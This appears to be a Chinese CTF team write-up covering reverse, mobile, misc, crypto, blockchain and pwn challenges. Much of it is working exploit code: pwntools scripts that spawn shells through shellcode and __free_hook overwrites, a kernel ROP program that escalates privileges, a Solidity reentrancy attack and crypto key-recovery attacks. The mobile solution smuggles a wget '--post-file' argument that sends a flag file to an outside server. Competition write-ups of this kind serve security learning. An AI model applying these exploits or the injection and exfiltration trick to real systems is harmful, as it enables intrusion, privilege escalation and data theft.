# 3 3 2 1 5 0
# 3 3 5 1 1 1
# 3 3 5 3 3 3
# 2 4 0 2 2 3
# 2 4 3 2 3 1
# 2 2 3 2 1 2
# 2 2 2 2 2 2
# 1 1 4 0 0 4
# 1 2 4 0 1 2
# 1 2 1 1 1 1
# 1 1 1 1 0 0
# U FUUF R RF RFR

# 0 white
# 1 orange
# 2 blue
# 3 yellow
# 4 red
# 5 green

# 15 14
# 12 13

# 06 05 22 21 17 16 09 08
# 07 04 23 20 18 19 10 11

# 02 01
# 03 00
1
2
3
4
5
6
7
8
9
10
11
color = ['white', 'orange', 'blue', 'yellow', 'red', 'green']
def breakdown(cube):
res = []
tmp = cube
for i in range(24):
res.append(color[tmp&0b111])
tmp >>= 3
return res[::-1]
res = breakdown(0x64056d754259894604)
for i in range(24):
print(i, res[i])

babywasi

elf调用wasm

给一个随机数,加密发送的shellcode后运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
def f16(a1):
if (a1 &1 and a1 %3):
v3 = 7
while((v3-6)*(v3-6) < a1):
assert v3 != 2
if (a1%(v3-2)!=0):
assert v3 != 0
v1 = a1 % v3
v3 += 6
if v1 != 0:
continue
return 0
return 1
else:
return 0

def reverse10(a1):
res = 0
tmp = a1
while(tmp):
res = tmp % 10 + res * 10
tmp //= 10
return res


def f18(a1):
v3 = reverse10(a1)
if v3 != a1 and f16(a1)!= 0:
return f16(v3) != 0
return 0

def f19(a1):
i = 0
sum = 0
k = 0
while(sum<a1+1):
if f18(i):
k = i
sum += 1
i += 1
return k

p = remote("121.37.164.32", 19008)
p.recvuntil(b"Your lucky number: ")
rand = int(p.recvline().strip())
log.success(rand)
s = b""
shellcode = b"\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
for i in range(len(shellcode)):
print(f19(rand+i), i)
s+=bytes([(f19(rand+i)&0xff)^shellcode[i]])
log.success(s.ljust(64, b"\x00"))
p.send(s.ljust(64, b"\x00"))
p.interactive()

fxck!

base58,之后用brainfuck语言加密,但是代码可能写错了,每次加密的都是上一位的结果。修改之后的版本改为直接对比编码结果,解base58即可。

base58编码部分也有bug,存放结果的位置没有初始化为0,导致存放了一些垃圾数据,体现在解密后为\x06开头。位数短的话这里会是\xE0。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from binascii import *
from Crypto.Util.number import *

tab = b'ABCDEFGHJKLMNPQRSTUVWXYZ123456789abcdefghijkmnopqrstuvwxyz'

def b58encode(s):
global tab
num = bytes_to_long(s)
res = b""
while(num):
res = bytes([tab[num%58]]) + res
num //= 58
return res

def b58decode(s):
global tab
tmp = b""
for i in s[::-1]:
tmp += bytes([tab.index(i)])
pow = 1
res = 0
for i in range(len(tmp)):
res += pow*tmp[i]
pow *= 58
return long_to_bytes(res)[:]

print(b58decode(b"4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe"))

mobile

getflag

socket一建立会告诉随机数,用这个随机数加密message后跟check校验。

有个secret.txt,告诉了ip

1
The%20IP%20of%20the%20remote%20phone%20is%20212.64.66.177

直接按程序的逻辑发包就行,注意文件的路径在apk包目录的文件下面,wget把文件读到远程服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from hashlib import sha1
import hmac
p = remote("212.64.66.177", "8080")
key = p.recvline().strip()
log.success(b"key: "+key)

message = b"[your server] --post-file=/data/data/com.xuanxuan.getflag/files/flag"
hashed = hmac.new(key, message, sha1)
check = hashed.hexdigest().encode()
payload = b"{\"message\":\""+message+b"\",\"check\":\"" + check + b"\"}"
log.success(b"payload: " + payload)
p.send(payload)
p.interactive()

misc

2019-nCoV

flag{shijiejiayou}

ez_mem&usb

流量包打开之后发现有两个上传data.zip的流量,把zip提取出来后,发现两个是相同的文件。任取一个解压,是一个vmem内存镜像文件,用volatility解析,发现内存中有文件\Device\HarddiskVolume1\Documents and Settings\Administrator\flag.img,提取出来,发现有密码。继续用volatility分析进程,发现有个cmd进程,用cmdscan插件查看命令,得到压缩包密码weak_auth_top100,解压出一个usbdata.txt文件,常规套路解析usb流量可得flag:FLAG[69200835784EC3ED8D2A64E73FE913C0],大写转小写,[]转{}即可。

Misc-隐藏的信息

二维码反色之后补全是假的信息

1
2
flag{this_is_also_not_flag}
解压密码不在这里0.0!

ZIP是伪加密,解密的WAV文件包含一些DTMF信息
image.png
image.png

对照下图还原信息:187485618521

image.png

strings了一下原来二维码的图片,发现提示用base64来getflag

image.png

最后flag就是flag{MTg3NDg1NjE4NTIx}

武汉加油

给了一张图片

后面padding了一个rar文件

vmp壳,直接用x64dbg不能调试。可以等运行起来attach上。然后直接能dump出来,估计vmp没有用好。正常vmp壳没这么好脱的。主逻辑很简单,输入6组字符串,按中文编码直接对比',,,,,!,然后打印flag

1
2
3
4
5
6
7
8
$ flag.exe
'




!
flag : {zhong_guo_jia_you}

简单Misc

题目给的一个jpg图片和zip压缩包,压缩包有密码,先把图片拉到winhex发现,本来是一个zip压缩包,,然后后缀改成压缩包打开有一个txt文件,里面是摩斯密码解密得到字符串是另一个压缩包文件的密码,打开这个压缩包,里面还有一个txt,把里面内容base64解密得到flag

Crypto

NHP

类似TetCTF2019的yaecc
https://colab.research.google.com/github/nguyenduyhieukma/CTF-Writeups/blob/master/TetCTF/2020/tetctf.ipynb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *
from Crypto.Util import number
from hashlib import sha256
#context.log_level = 'debug'
def solve_PoW(suffix, h):
print "solving PoW......"
charset = [chr(x) for x in range(255)]
for p1 in charset:
for p2 in charset:
for p3 in charset:
plaintext = p1 + p2+ p3+ suffix
m = hashlib.sha256()
m.update(plaintext)
if m.hexdigest() == h:
print "PoW solution has been found!"
return p1+p2+p3


r = remote('121.37.174.33',10000)

sl = lambda s : r.sendline(s)
rl = lambda : r.recvline()
sd = lambda s : r.send(s)
rc = lambda n=4096 : r.recv(n)
ru = lambda s : r.recvuntil(s)

def pad(m):
l = 40 - len(m)
res = '0'*l + m
return res

def getsign(name):
ru('$')
sl('1')
ru('Please input your username: ')
sl(name)
ru('k.bit_length() == ')
kbits = int(ru('\n')[:-1])
ru('Here is your signature in hex: ')
sign = ru('\n')[:-1]
return sign,kbits

def sign(x,q,p,g):
m = 'admin'
Hm = int(sha256(m).hexdigest(),16)
k = 2
k_inv = number.inverse(k, q)
r = pow(g, k, p) % q
s = (k_inv * (Hm + x * r)) % q
res = 'admin'.encode('hex') + pad(hex(r)[2:]) + pad(hex(s)[2:])
ru('$')
sl('2')
ru('Please send me your signature: ')
sl(res)
print(res)


ru('sha256(XXX + ')
suffix = (ru(')')[:-1]).decode('hex')
ru('== ')
h = ru('\n')[:-1]
p = solve_PoW(suffix, h)
p = p.encode('hex')
sl(p)

ru('p = ')
p = int(ru('\n')[:-1])
ru('q = ')
q = int(ru('\n')[:-1])
ru('g = ')
g = int(ru('\n')[:-1])
ru('y = ')
y = int(ru('\n')[:-1])
print('p = ' + str(p))
print('q = ' + str(q))
print('g = ' + str(g))
print('y = ' + str(y))
qbits = q.bit_length()

res = []
count = 0

for i in range(5000000):
data,kbits = getsign('ver')
if qbits-kbits>=8:
count += 1
success('[+]Round: '+ str(count))
m1 = int(data[:6],16)
r1 = int(data[6:46],16)
s1 = int(data[-40:],16)
res.append((m1,(r1,s1)))
if count>=40:
break

with open("/home/anemone/SageMath/data.txt", "w") as f:
f.write(str(res))

arg_list = [str(x) for x in [p,q,g,y]]

SAGE = process(["/home/anemone/SageMath/sage", "/home/anemone/SageMath/exp.sage"] + arg_list)
x = int(SAGE.recvline().strip())
SAGE.close()
print x
sign(x,q,p,g)

r.interactive()

exp.sage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from hashlib import sha256
from sys import argv
with open("/home/anemone/SageMath/data.txt", "r") as f:
d = f.readline()
d = d.split(',')
data = []
for i in range(0,len(d),3):
m = int(d[i][2:])
r = int(d[i+1][2:-1])
s = int(d[i+2][1:-3].rstrip('L'))
data.append((m,(r,s)))
assert len(argv[1:]) == 4

[p,q,g,y] = [Integer(x) for x in argv[1:]]

n = q
Zn = Zmod(n)

size = len(data)-1
m = []
Ai = [-1]
Bi = [0]
r0, s0 = map(Zn, data[0][1])
z0 = Zn(ZZ(sha256(hex(data[0][0])[2:].decode('hex')).hexdigest(), 16))
for i in range(size):
message, sig = data[i+1]
ri, si = map(Zn, sig)
zi = z = Zn(ZZ(sha256(hex(message)[2:].decode('hex')).hexdigest(), 16))
A = - (s0 * ri) / (r0 * si)
B = (z0 * ri) / (si * r0) - zi / si
Ai.append(A)
Bi.append(B)

Ai.append(0)
res = n//2^8
Bi.append(res)
m.append(Ai)
for i in range(size):
m.append([0]*(i+1) + [n] + [0]*(size-i))

m.append(Bi)
m = Matrix(ZZ, m)

mLLL = m.LLL()

#print mLLL
for irow, row in enumerate(mLLL):
k0 = Zn(row[0])
x = (s0*k0-z0)/r0
x = x%q
if pow(g, x, p) == y:
print("{:d}".format(int(x)))
k0 = Zn(-row[0])
x = (s0*k0-z0)/r0
x = x%q
if pow(g, x, p) == y:
print("{:d}".format(int(x)))

lancet

RSA parity oracle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import base64
from Crypto.Util.number import *
import libnum, gmpy2, socket, time, decimal
#context.log_level = 'debug'

r = remote('121.37.174.33',9999)


def oracle(m):
m = long_to_bytes(m)
m = base64.b64encode(m)
length = len(m)
r.recvuntil('you can choose what you want here\n')
r.send('2')
r.recvuntil('send how long you want to decrypt\n')
r.send(str(length))
r.recvuntil('send the message in base64 encode\n')
r.send(m)
r.recvuntil('res:')
choice = r.recvuntil('\n')[:-1]
if '1' == choice:
return 1
if '0' == choice:
return 0
else:
exit(0)

def challenge():
r.recvuntil('n:')
n = int(r.recvuntil('\n')[:-1])
r.recvuntil('e:')
e = int(r.recvuntil('\n')[:-1])
#e = 65537
r.recvuntil('flag:')
c = int(r.recvuntil('\n')[:-1])

c_of_2 = pow(2, e, n)
m = partial((c * c_of_2) % n, n,e)

def partial(c, n,e):
c_of_2 = pow(2, e, n)
k = n.bit_length()
decimal.getcontext().prec = k # allows for 'precise enough' floats
lower = decimal.Decimal(0)
upper = decimal.Decimal(n)
for i in range(k):
possible_plaintext = (lower + upper) / 2
# lower==0 when i<1809
c += n*10**2048
flag = oracle(c)
if not flag:
upper = possible_plaintext # plaintext is in the lower half
else:
lower = possible_plaintext # plaintext is in the upper half
c = (c * c_of_2) % n # multiply y by the encryption of 2 again
print i, flag, int(upper - lower)
# time.sleep(0.2)
# By now, our plaintext is revealed!
print upper
print long_to_bytes(upper)
return int(upper)

challenge()


r.interactive()

区块链

BlockChain-OwnerMoney

先弄四个结尾为0xfff的合约,然后把balance集中到一个合约
自毁给目标合约凑够400wei
然后就直接重入攻击即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
pragma solidity ^0.4.21;

contract bank{
function buy() public payable{}

function change(address addr) public{}

function sell(uint256 num) public{}

function transfer(address,uint256) public{}
}

contract Anemone{
address taddr = 0x40a590b70790930ceed4d148bf365eea9e8b35f4;
bank public target = bank(taddr);
uint public isOwner = 0;
uint public flag = 0;
uint public num = 200;

function Anemone() payable{
uint256 addr = uint256(address(this));
if(addr&0xfff!=0xfff){
selfdestruct(msg.sender);
}
}

function setnum(uint256 n) public {
num = n;
}

function step1() public payable {
target.buy.value(1 wei)();
}

function step2() public payable{
target.sell(num);
}

function step3() public{
target.change(target);
}

function step4() public{
taddr.call(0x11f776bc);
}

function transfer(address addr) public{
target.transfer(addr,100);
}

function payflag(string email){
taddr.call(0x6bc344bc,0x20,0x18,email);
}

function kill(address addr) public {
selfdestruct(addr);
}

function pay() public payable{}

function isOwner(address addr) public returns (uint256){
if(isOwner!=1){
isOwner = 1;
return 0;
}
else
return 1;
}


function () public payable {
if(msg.sender == taddr){
if(flag == 0){
flag = 1;
target.sell(num);
}
}
}
}

Pwn

EasyVM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

debug=0

context.terminal = ['tmux', 'splitw', '-h' ]
context.log_level='debug'

if debug:
p=process('./EasyVM')
#p=t.process(env={'LD_PRELOAD':'./libc.so.6'})
gdb.attach(p)
else:
p=remote('121.36.215.224', 9999)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def mbreak():
return '\x99'

def push(v):
return '\x71'+p32(v)

def putchr():
return '\x53'*2

def pop():
return '\x76'+p32(0xdeadbeef)

def mov(idx,v):
return '\x80'+chr(idx)+p32(v)

def print_ptr():
return '\x11'

def get_gift():
return '\x09'

def enter(s):
sl('1')
sleep(0.5)
se(s)
ru('>>> \n')

def gift():
sl('4')
ru('>>> \n')

def start():
sl('2')

ru('>>>')
shellcode = get_gift() + print_ptr() + mbreak()
gift()
enter(shellcode)
start()
pbase = int(ru('\n'),16) - 0x6c0
ru('>>> \n')

shellcode = ''
for i in range(4):
shellcode += mov(3, pbase+ 0x2FDC+i) + putchr()
shellcode += mbreak()
enter(shellcode)
start()

libc = u32(ru('1.')[:-2])
base = libc - 0x18540
ru('>>> \n')

e = ELF('./libc-2.23.so')
shellcode = mov(6, base + e.symbols['__free_hook'] +4) + push(base + e.symbols['system']) + mov(10, base+e.search('/bin/sh').next())+ mbreak()
enter(shellcode)
start()
ru('>>> \n')

sl('3')


print(hex(pbase))
print(hex(libc))

p.interactive()

Shotest_Path_v2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

debug=0

context.terminal = ['tmux', 'splitw', '-h' ]
context.log_level='debug'

if debug:
p=process('./Shortest_path')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('121.37.181.246', 19008)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def add(id,price,sz,name,connection=[]):
sl('1')
ru('ID:')
sl(str(id))
ru('Price:')
sl(str(price))
ru('Length:')
sl(str(sz))
ru('Name:')
se(name)
ru('station:')
sl(str(len(connection)))
for i in connection:
ru('ID:')
sl(str(i[0]))
ru('distance:')
sl(str(i[1]))
ru('--->')

def delete(id):
sl('2')
ru('ID:')
sl(str(id))
ru('--->')


ru('--->')
tt = []
for i in range(30):
tt.append((i,-1))
add(0,2,0x27,'a',[(1,-2)])
for i in range(10):
add(i+1,3,0x27,'b',tt)
for i in range(19):
add(i+11,3,0x27,'c')
delete(0)
delete(29)
add(40,2,0x17,p64(0)+p64(0x6068E0))
sl('4')
ru('ID:')
sl('1')
ru('ID:')
sl('28')
ru('--->')
sl('3')
ru('ID:')
sl('0')

p.interactive()

babykernel

非预期解。。搜索flag即可
babykernel.png
内容

babykernel2

存在整数溢出,然后有canary,常规的泄漏canary然后rop回到用户态即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <string.h>
#include <assert.h>
#include<signal.h>
// 0xffffffff810779b0 prepare_kernel_cred
// 0xffffffff81077620 commit_creds
//0xffffffff811b771d : pop rdi ; ret
//0xffffffff8122f802 : pop rdx ; ret
//0xffffffff810aa626 : mov rdi, rax ; call rdx
//0xffffffff813345db : swapgs ; pop rbp ; ret
//0xffffffff818e8977: 48 cf iretq
unsigned long cmd1 = 0x30001;
unsigned long cmd2 = 0x30002;
unsigned long cmd3 = 0x30000;
unsigned long base = 0;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long p_rdi;
unsigned long p_rdx;
unsigned long swapgs_rbp;
unsigned long iretq;
unsigned long mov_ca;
size_t user_cs, user_ss, user_eflags, user_sp;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}

void shell(void) {
setuid(geteuid());
system("/bin/sh");
exit(0);
}
unsigned long rop[0x200];
int main(){
signal(SIGSEGV,shell);
save_stats();
printf("Leave me a address:");
scanf("%lx",&amp;base);
prepare_kernel_cred = base + 0xa1820;
commit_creds = base +0xa1436;//0xa1430
p_rdi = base +0x3ee37f;
p_rdx = base +0x83f22;
swapgs_rbp = base +0x636b4;
iretq =base +0x81d217;
mov_ca = base +0xdef79;
int fd = open("/dev/babyhacker",O_RDONLY);
if(fd == -1){
puts("open fail!");
exit(-1);
}
unsigned long tt[0x200];
tt[0] = 0x6161616161616161UL;
for(int i = 1;i<40;i++){
tt[i] = 0x6161616161616161UL;
}
ioctl(fd,cmd3,-65200);
ioctl(fd,cmd2,tt);
unsigned long canary = tt[40];
printf("canary is %p",canary);
ioctl(fd,cmd3,-65088);
for(int i = 1;i<40;i++){
tt[i] = 0x6161616161616161UL;
}
tt[40] = canary;
tt[41] =0x0UL;
tt[42] =p_rdi;
tt[43] = 0x0UL;
tt[44] = prepare_kernel_cred;
tt[45] = p_rdx;
tt[46] = commit_creds;
tt[47] = mov_ca;
tt[48] = swapgs_rbp;
tt[49] = 0xdeadbeefUL;
tt[50] = iretq;
tt[51] = (unsigned long) shell;
tt[52] += user_cs;
tt[53] += user_eflags;
tt[54] += user_sp;
tt[55] += user_ss;
//cat /proc/kallsyms | grep startup_64commit_creds +0xa1430 :startup_64
//prepare_kernel_cred+0xa1820
//pop rdi:+0xba20b6 ;
//pop rdx:+0x83f22 ;
//+0x636b4 : swapgs ; pop rbp ; ret
ioctl(fd,cmd1,tt);
printf("cmd1 done!");

return 0;
}

bjut

不断尝试会发现又一个负数溢出,然后会leak出一些东西,这些东西里面有个stdin,stdout,stderr的地址,用来搜一下即可。然后再对那个地址覆盖一下即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
p = remote("121.37.167.199",9997)
context.log_level = "debug"
def add(size,content):
p.recvuntil(">")
p.sendline("1")
p.recvuntil("The length of your hw:")
p.sendline(str(size))
p.recvuntil("Input your hw:")
p.sendline(content)
def remove(idx):
p.recvuntil(">")
p.sendline("3")
p.recvuntil("The index of your hw:")
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil(">")
p.sendline("2")
p.recvuntil("The index of your hw:")
p.sendline(str(idx))
p.recvuntil("Input your hw:")
p.send(str(content))

def show(idx):
p.recvuntil(">")
p.sendline("4")
p.recvuntil("The index of your hw:")
p.sendline(str(idx))
#size < 0x80
add(0x68,"/bin/sh")
show(-1879)
p.recvuntil("\n")
data = p.recv()
libc_addr = u64(data[0x91:0x91+6].ljust(8,"\x00"))-0x1e5760
edit(-1879,p64( 0x052fd0+libc_addr))
#0x052fd0 2.29 0x1e5760
#0x050300 2.28 0x1e5760
#0x04f440 2.27 0x3ec760
p.interactive()

easy_heap

先申请了0x10的堆块,并且没有对申请出来的堆块进行初始化,可以遗留一些地址造成堆块的uaf然后致使最后产生任意地址写,泄漏就更改stdout即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import*

context.log_level = "debug"
p = process("./easyheap")
a = ELF("./libc.so.6")
#p = remote("121.36.209.145",9997)
gdb.attach(p)
def add(size,content,flag):
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("How long is this message?")
p.sendline(str(size))
if(flag):
p.recvuntil("What is the content of the message?")
p.sendline(str(content))
def remove(idx):
p.recvuntil("Your choice:")
p.sendline("2")
p.recvuntil("What is the index of the item to be deleted?")
p.sendline(str(idx))

def edit(idx,content):
p.recvuntil("Your choice:")
p.sendline("3")
p.recvuntil("What is the index of the item to be modified?")
p.sendline(str(idx))
p.recvuntil("What is the content of the message?")
p.send(str(content))

def quit():
p.recvuntil("Your choice:")
p.sendline("4")

add(0x18,"a",1)
add(0x90,"b",1)
add(0x10,"/bin/sh\x00",1)

add(0x18,"a",1)
add(0x90,"b",1)
add(0x10,"/bin/sh\x00",1)
remove(0)
remove(1)
add(0x401,"a",0)
add(0x18,"a",1)
edit(0,p64(0)+p64(0x21)+p64(0x6020d8)+p64(0x1000))
edit(1,p64(0x602080))
edit(0,p64(0)+p64(0x21)+p64(0x602088)+p64(0x1000))
edit(1,p64(0x100))
edit(0,p64(0)+p64(0x21)+p64(0x6020b0)+p64(0x1000))
edit(1,p64(0))
m = p64(0xfbad1800) + p64(0)*3 + "\x00"
edit(3,p64(0xfbad1800) + p64(0)*3 + "\x00")
p.recvuntil("\x00"*0x18)
libc_addr = u64(p.recv(8)) - 0x3c36e0
edit(0,p64(0)+p64(0x21)+p64(libc_addr + a.symbols["__free_hook"])+p64(0x1000))
edit(1,p64(libc_addr+a.symbols["system"]))
remove(2)
p.interactive()

easy_unicorn4

首先用下面的代码把dump里面的elf提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
data = """
| .gcc_except_table | 401e64 | f5c | 24 |
| debug001 | 7ffff783b000 | f88 | 4000 |
| .data | 603090 | 4fb8 | 10 |
| libc_2.23.so | 7ffff7475000 | 5008 | 1c0000 |
| .fini | 4015a4 | 1c5008 | 9 |
| .plt | 4009f0 | 1c5111 | 100 |
| .jcr | 602e00 | 1c5211 | 8 |
| ld_2.23.so1 | 7ffff7ffc000 | 1c5219 | 1000 |
| ld_2.23.so2 | 7ffff7ffd000 | 1c6219 | 1000 |
| LOAD | 400000 | 1c7239 | 9c8 |
| .init | 4009c8 | 1c7c01 | 1a |
| [stack] | 7ffffffde000 | 1c7c1b | 21000 |
| libstdc__.so.6.0.21 | 7ffff7a55000 | 1e8c2b | 172000 |
| LOAD2 | 400af8 | 35ac3b | 8 |
| .fini_array | 602df8 | 35ac43 | 8 |
| .prgend | 6031d8 | 35ac4b | 1 |
| libstdc__.so.6.0.212 | 7ffff7dc7000 | 35ac4c | a000 |
| libstdc__.so.6.0.213 | 7ffff7dd1000 | 364c4c | 2000 |
| .plt.got | 400af0 | 366c4c | 8 |
| libstdc__.so.6.0.211 | 7ffff7bc7000 | 366c54 | d000 |
| ld_2.23.so | 7ffff7dd7000 | 373c54 | 26000 |
| libgcc_s.so.1 | 7ffff783f000 | 399c54 | 16000 |
| libgcc_s.so.11 | 7ffff7a54000 | 3afc54 | 1000 |
| libm_2.23.so1 | 7ffff7274000 | 3b0c54 | 2000 |
| libm_2.23.so3 | 7ffff7474000 | 3b2c54 | 1000 |
| libm_2.23.so2 | 7ffff7473000 | 3b3c54 | 1000 |
| debug004 | 7ffff7ffe000 | 3b4c5c | 1000 |
| xctf_pwn | 401e88 | 3b5c74 | 178 |
| LOAD1 | 4009e2 | 3b5dec | e |
| LOAD3 | 4015a2 | 3b5dfa | 2 |
| LOAD5 | 4019a7 | 3b5e04 | 1 |
| LOAD4 | 4015ad | 3b5e05 | 3 |
| LOAD7 | 602e08 | 3b5e08 | 1f0 |
| LOAD6 | 401a84 | 3b5ff8 | 4 |
| [vdso] | 7ffff7ffa000 | 3b5ffc | 2000 |
| .text | 400b00 | 3b7ffc | aa2 |
| libc_2.23.so3 | 7ffff7839000 | 3b8b5e | 2000 |
| libc_2.23.so2 | 7ffff7835000 | 3bab5e | 4000 |
| libc_2.23.so1 | 7ffff7635000 | 3beb5e | 9000 |
| .rodata | 4015b0 | 3c7b5e | 3f7 |
| .got | 602ff8 | 3c7f55 | 8 |
| .got.plt | 603000 | 3c7f5d | 90 |
| .eh_frame_hdr | 4019a8 | 3c7fed | dc |
| .bss | 6030a0 | 3c80c9 | 138 |
| extern | 6031e0 | 3c8201 | 98 |
| libm_2.23.so | 7ffff716c000 | 3c8299 | 108000 |
| [vsyscall] | ffffffffff600000 | 4d0299 | 1000 |
| [heap] | 604000 | 4d1299 | 32000 |
| .init_array | 602df0 | 503299 | 8 |
| .eh_frame | 401a88 | 5032a1 | 3dc |
| debug003 | 7ffff7fe7000 | 50367d | 6000 |
| xctf_pwn3 | 603278 | 50967d | d88 |
| xctf_pwn1 | 602000 | 50a405 | df0 |
| xctf_pwn2 | 6031d9 | 50b1f5 | 7 |
| debug002 | 7ffff7dd3000 | 50b1fc | 4000 |
"""
data = data.split('\n')[1:-1]

segs = []
for i in data:
t = i.split('|')[1:-1]
t = [i.strip() for i in t]
t = [int(i,16) for i in t[1:]] + t[:1]
segs.append(t)

segs.sort()
for i in segs:
print(hex(i[0]),i[1:])

f = open('./recover_pwn','wb')
with open('./xctf_pwn.dump','rb') as fr:
for i in segs:
if i[0] >= 0x604000:
continue
print(i[2])
fr.seek(i[1])
f.write(fr.read(i[2]))
f.close()

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

debug=0

#context.terminal = ['tmux','-x','sh','-c']
context.terminal = ['tmux', 'splitw', '-h' ]
context.log_level='debug'

if debug:
#p=process('./')
#p=process(['./x86_sandbox','-debug'],env={'LD_PRELOAD':'./libunicorn.so.1'})
p=process(['./x86_sandbox'],env={'LD_PRELOAD':'./libunicorn.so.1'})
gdb.attach(p)
else:
p=remote('121.37.167.199', 9998)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

ru('[ Disable system call safe mode ]')
ru('Your machine-code is ')
ru('\x1B[1;31;5m ')
data = ru(' ').strip()
ru('<<')
data = [int(i,16) for i in data.split('-')]
w = ''
for i in data:
w += p32(i)
data = w
data = [ord(i) for i in data]
for i in range(14, -1, -1):
data[i] ^= data[i+1]
for i in range(0x20):
se('\n')
ru('try')
for i in data:
se('%02X'%i)

se('\n')
context.arch='amd64'
shellcode = asm('mov r10, rsi')
shellcode += asm(shellcraft.open('flag.txt'))
shellcode += asm(shellcraft.read(3,'r10',0x80))
shellcode += asm(shellcraft.write(1,'r10',0x80))
shellcode += asm(shellcraft.amd64.linux.exit(0))

ru('data ptr:')
ptr = int(ru('\n'),16)
ru('data<<')
sl(shellcode)
ru('<<')
sl(str(ptr))
for i in range(3):
ru('<<')
sl(str(ptr+0x400))

p.interactive()

kernoob

解题是非预期,解开.cpio包然后搜索flag即可。
kernoob.png

lgd

n132:
虽然有很多看不懂的操作但是存在长度判断错误可以造成溢出,setcontext以orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85

from pwn import *
def cmd(c):
p.sendlineafter(">> ",str(c))
def add(size,data):
cmd(1)
p.sendlineafter("?\n",str(size))
p.sendafter("?\n",data)
def free(idx):
cmd(2)
p.sendlineafter("?\n",str(idx))
def edit(idx,c):
cmd(4)
p.sendlineafter("?\n",str(idx))
p.sendafter("?\n",c)
def show(idx):
cmd(3)
p.sendlineafter("?\n",str(idx))
context.log_level='debug'
context.arch='amd64'
